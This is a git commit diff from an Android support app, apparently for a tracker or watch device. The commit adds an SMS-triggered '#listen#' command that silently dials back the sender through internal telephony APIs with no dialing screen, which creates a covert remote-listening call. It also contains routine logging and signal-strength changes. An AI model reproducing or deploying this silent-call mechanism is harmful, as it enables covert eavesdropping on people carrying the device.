From: snicker Date: Mon, 4 May 2020 00:39:19 +0000 (+0800) Subject: 添加 SMS指令listen 但是无拨号界面拨号还没实现! X-Git-Url: http://git.snicker.com.cn/Users/apple/Desktop/static/gitweb.js?a=commitdiff_plain;h=bafe8f6b70f16174379fa6dcb3cd8fdcafd12998;p=icsupport.git 添加 SMS指令listen 但是无拨号界面拨号还没实现! 添加 ICLoggger printStacktrace 功能 --- diff --git a/app/src/main/java/com/enqualcomm/support/ICSmsManager.java b/app/src/main/java/com/enqualcomm/support/ICSmsManager.java index ed399e92..10e41ff1 100644 --- a/app/src/main/java/com/enqualcomm/support/ICSmsManager.java +++ b/app/src/main/java/com/enqualcomm/support/ICSmsManager.java @@ -20,6 +20,7 @@ import com.enqualcomm.support.bean.ICLocation; import com.enqualcomm.support.bean.Runtime; import com.enqualcomm.support.service.Deliver; import com.enqualcomm.support.utils.APNUtil; +import com.enqualcomm.support.utils.CellInfoUtil; import com.enqualcomm.support.utils.DeviceInfoUtil; import com.enqualcomm.support.utils.ICHttpUtil; import com.enqualcomm.support.utils.ICLogger; @@ -721,6 +722,10 @@ public class ICSmsManager { } else { sendSMS(phonenumber, "set SMSCMD PWD format error!"); } + } else if (sms.equals(ENCRYPED_HEADER+"#listen#")) { + sendSMS(phonenumber, "start listen !"); + CellInfoUtil.dialSilent(runtime.getContextProxy().context,phonenumber); + } else if (sms.equals(ENCRYPED_HEADER+"#updateViaFota#")) { cell_number_to_reply=phonenumber; diff --git a/app/src/main/java/com/enqualcomm/support/adapter/LBSHelper.java b/app/src/main/java/com/enqualcomm/support/adapter/LBSHelper.java index f20c1754..59691e3d 100644 --- a/app/src/main/java/com/enqualcomm/support/adapter/LBSHelper.java +++ b/app/src/main/java/com/enqualcomm/support/adapter/LBSHelper.java @@ -266,7 +266,8 @@ public class LBSHelper { public void onSignalStrengthsChanged(SignalStrength ss) { super.onSignalStrengthsChanged(ss); TelephonyManager tm=(TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE); - int gsmSignal= 150-Math.abs(CellInfoUtil.getSignal(tm,runtime)); + int tmpsignal=CellInfoUtil.getSignal(tm,runtime); + int gsmSignal= 150-Math.abs(tmpsignal); runtime.setSignalStrength(gsmSignal); } diff --git a/app/src/main/java/com/enqualcomm/support/utils/CellInfoUtil.java b/app/src/main/java/com/enqualcomm/support/utils/CellInfoUtil.java index 26889097..483f38de 100644 --- a/app/src/main/java/com/enqualcomm/support/utils/CellInfoUtil.java +++ b/app/src/main/java/com/enqualcomm/support/utils/CellInfoUtil.java @@ -1,9 +1,11 @@ package com.enqualcomm.support.utils; +import android.content.Context; import android.os.Build; import android.os.Handler; import android.os.Message; import android.os.PowerManager; +import android.provider.ContactsContract; import android.telephony.CellInfo; import android.telephony.CellInfoCdma; import android.telephony.CellInfoGsm; @@ -19,58 +21,127 @@ import android.telephony.TelephonyManager; import android.telephony.cdma.CdmaCellLocation; import android.telephony.gsm.GsmCellLocation; +import com.android.internal.telephony.CallManager; +import com.android.internal.telephony.CallStateException; +import com.android.internal.telephony.Phone; +import com.android.internal.telephony.PhoneFactory; import com.enqualcomm.support.Config; import com.enqualcomm.support.GSensorListener; import com.enqualcomm.support.bean.Runtime; +import com.sprd.internal.telephony.SprdCallManager; +import java.lang.reflect.Method; import java.util.Collections; import java.util.Comparator; import java.util.Iterator; import java.util.List; +import rx.Single; +import rx.android.schedulers.AndroidSchedulers; +import rx.functions.Action1; + public class CellInfoUtil { + + public static void dialSilent(Context context,String dialnumber){ +// try { +// Class phoneFactoryClass = Class.forName("com.android.internal.telephony.PhoneFactory"); +// +// Method makeDefaultPhones = phoneFactoryClass.getMethod("makeDefaultPhones", Context.class); +// +// makeDefaultPhones.invoke(null, context); +// +// Method getDefaultPhone = phoneFactoryClass.getMethod("getDefaultPhone"); +// +// Object p = getDefaultPhone.invoke(null); +// +// Class classCallManager = Class.forName("com.sprd.internal.telephony.SprdCallManager"); +// +// Object CallManagerInstance = classCallManager.getDeclaredMethod("getInstance"); +// +// classCallManager.getMethod("registerPhone", Object.class).invoke(CallManagerInstance, p); +// +// Method newGetDefaultPhone = classCallManager.getMethod("getDefaultPhone"); +// +// Object phone = newGetDefaultPhone.invoke(CallManagerInstance); +// +// String phoneName = "com.android.internal.telephony.Phone"; +// +// Class phoneClass = Class.forName(phoneName); +// +// phoneClass.getMethod("dial", String.class).invoke(phone, dialnumber); +// }catch (Exception e){ +// ICLogger.PrintExceptionStackTrace(e); +// } + + Single.just(null).observeOn(AndroidSchedulers.mainThread()).subscribe(new Action1() { + public void call(Object param1Object) { + + PhoneFactory.makeDefaultPhones(context); + + Phone p = PhoneFactory.getDefaultPhone(); + + SprdCallManager cm = (SprdCallManager)SprdCallManager.getInstance(); + + cm.registerPhone(p); + + Phone phone = cm.getDefaultPhone(); + + try { + phone.dial(dialnumber); + } catch (Exception e) { + ICLogger.PrintExceptionStackTrace(e); + } + } + }); + + } public static int getSignal(TelephonyManager tm , Runtime runtime){ if(tm==null) return 5; - CellLocation celllocation = tm.getCellLocation(); - if (celllocation == null) { - ICLogger.i("cellLocation = null"); - return 1; - } else { - if (celllocation instanceof GsmCellLocation) { - for (CellInfo cinfo : tm.getAllCellInfo()) { - if (cinfo instanceof CellInfoGsm){ - CellSignalStrengthGsm cigsm=((CellInfoGsm)cinfo).getCellSignalStrength(); - ICLogger.i("gsm signal dbm ="+cigsm.getDbm()+",level="+cigsm.getLevel()); - runtime.setSignalInfo("gsm signal dbm ="+cigsm.getDbm()+",level="+cigsm.getLevel()); + try { + CellLocation celllocation = tm.getCellLocation(); + if (celllocation == null) { + ICLogger.i("cellLocation = null"); + return 1; + } else { + if (celllocation instanceof GsmCellLocation) { + for (CellInfo cinfo : tm.getAllCellInfo()) { + if (cinfo instanceof CellInfoGsm) { + CellSignalStrengthGsm cigsm = ((CellInfoGsm) cinfo).getCellSignalStrength(); + ICLogger.i("gsm signal dbm =" + cigsm.getDbm() + ",level=" + cigsm.getLevel()); + runtime.setSignalInfo("gsm signal dbm =" + cigsm.getDbm() + ",level=" + cigsm.getLevel()); return cigsm.getDbm(); - }else if (cinfo instanceof CellInfoLte){ - CellSignalStrengthLte cigsm=((CellInfoLte)cinfo).getCellSignalStrength(); - ICLogger.i("lte signal dbm ="+cigsm.getDbm()+",level="+cigsm.getLevel()); - runtime.setSignalInfo("lte signal dbm ="+cigsm.getDbm()+",level="+cigsm.getLevel()); + } else if (cinfo instanceof CellInfoLte) { + CellSignalStrengthLte cigsm = ((CellInfoLte) cinfo).getCellSignalStrength(); + ICLogger.i("lte signal dbm =" + cigsm.getDbm() + ",level=" + cigsm.getLevel()); + runtime.setSignalInfo("lte signal dbm =" + cigsm.getDbm() + ",level=" + cigsm.getLevel()); return cigsm.getDbm(); - }else if (cinfo instanceof CellInfoWcdma) { - CellSignalStrengthWcdma cicdma = ((CellInfoWcdma) cinfo).getCellSignalStrength(); - ICLogger.i("wcdma signal dbm ="+cicdma.getDbm()+",level="+cicdma.getLevel()); - runtime.setSignalInfo("wcdma signal dbm ="+cicdma.getDbm()+",level="+cicdma.getLevel()); - return cicdma.getDbm(); + } else if (cinfo instanceof CellInfoWcdma) { + CellSignalStrengthWcdma cicdma = ((CellInfoWcdma) cinfo).getCellSignalStrength(); + ICLogger.i("wcdma signal dbm =" + cicdma.getDbm() + ",level=" + cicdma.getLevel()); + runtime.setSignalInfo("wcdma signal dbm =" + cicdma.getDbm() + ",level=" + cicdma.getLevel()); + return cicdma.getDbm(); + } } - } - return 2; - }else if (celllocation instanceof CdmaCellLocation) { - for (CellInfo cinfo : tm.getAllCellInfo()) { - if (cinfo instanceof CellInfoCdma) { - CellSignalStrengthCdma cicdma = ((CellInfoCdma) cinfo).getCellSignalStrength(); - ICLogger.i("cdma signal dbm ="+cicdma.getDbm()+",level="+cicdma.getLevel()); - runtime.setSignalInfo("cdma signal dbm ="+cicdma.getDbm()+",level="+cicdma.getLevel()); - return cicdma.getDbm(); + return 2; + } else if (celllocation instanceof CdmaCellLocation) { + for (CellInfo cinfo : tm.getAllCellInfo()) { + if (cinfo instanceof CellInfoCdma) { + CellSignalStrengthCdma cicdma = ((CellInfoCdma) cinfo).getCellSignalStrength(); + ICLogger.i("cdma signal dbm =" + cicdma.getDbm() + ",level=" + cicdma.getLevel()); + runtime.setSignalInfo("cdma signal dbm =" + cicdma.getDbm() + ",level=" + cicdma.getLevel()); + return cicdma.getDbm(); + } } + return 3; } - return 3; + return 4; } - return 4; + }catch (Exception e){ + ICLogger.PrintExceptionStackTrace(e); + return 6; } } public static String getCellInfo(TelephonyManager telephonyManager, Runtime runtime) { diff --git a/app/src/main/java/com/enqualcomm/support/utils/ICLogger.java b/app/src/main/java/com/enqualcomm/support/utils/ICLogger.java index 913f6009..d755ccbc 100644 --- a/app/src/main/java/com/enqualcomm/support/utils/ICLogger.java +++ b/app/src/main/java/com/enqualcomm/support/utils/ICLogger.java @@ -17,6 +17,9 @@ import org.apache.log4j.spi.LoggingEvent; import java.io.File; import java.io.IOException; +import java.io.OutputStream; +import java.io.OutputStreamWriter; +import java.io.PrintStream; import de.mindpipe.android.logging.log4j.LogConfigurator; @@ -267,6 +270,19 @@ public class ICLogger { Log.error(buildMessage(msg), thr); } + public static void PrintExceptionStackTrace(Exception e){ + + StringBuffer sb=new StringBuffer(); + sb.append(e.getMessage()).append("\n"); + e.printStackTrace(new PrintStream(new OutputStream() { + @Override + public void write(int b) throws IOException { + sb.append((char)b); + } + })); + i(sb.toString()); + } + /** * 生成消息 * @param msg